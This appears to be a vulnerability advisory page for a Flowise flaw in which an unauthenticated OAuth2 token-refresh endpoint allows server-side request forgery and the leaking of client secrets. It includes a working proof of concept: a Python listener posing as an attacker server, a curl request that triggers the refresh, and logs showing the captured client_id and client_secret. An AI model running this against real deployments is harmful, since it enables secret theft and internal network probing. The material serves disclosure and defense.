high

CVE-2026-69250

npm · flowise

Summary

Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

Severity
high
EPSS
0.6% (p47)
CWE
CWE-639
Also known as
GHSA-r745-8hwv-h473
Published
2026-08-04
Updated
2026-08-04

Advisory details

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist

    • dist/utils/constants.js includes:
      • /api/v1/oauth2-credential/callback
      • /api/v1/oauth2-credential/refresh
    • dist/index.js auth middleware uses:
      • const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
    • Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.

  2. User-controlled SSRF target

    • In refresh handler (dist/routes/oauth2/index.js):
      • loads credential by credentialId
      • decrypts credential data
      • reads accessTokenUrl
      • executes:
        • axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
    • No secureAxiosRequest() / denylist wrapper is used in this path.

  3. Non-blind response reflection

    • Response returns:
      • tokenInfo: { ...tokenData, ... }
    • tokenData is the attacker/internal server response body.

  4. Secrets sent to SSRF target

    • Request body includes:
      • client_id
      • client_secret
      • grant_type=refresh_token
      • refresh_token

PoC

Environment used

Step 1: Start attacker server

python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

Step 3: Trigger refresh without auth

curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

Impact

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.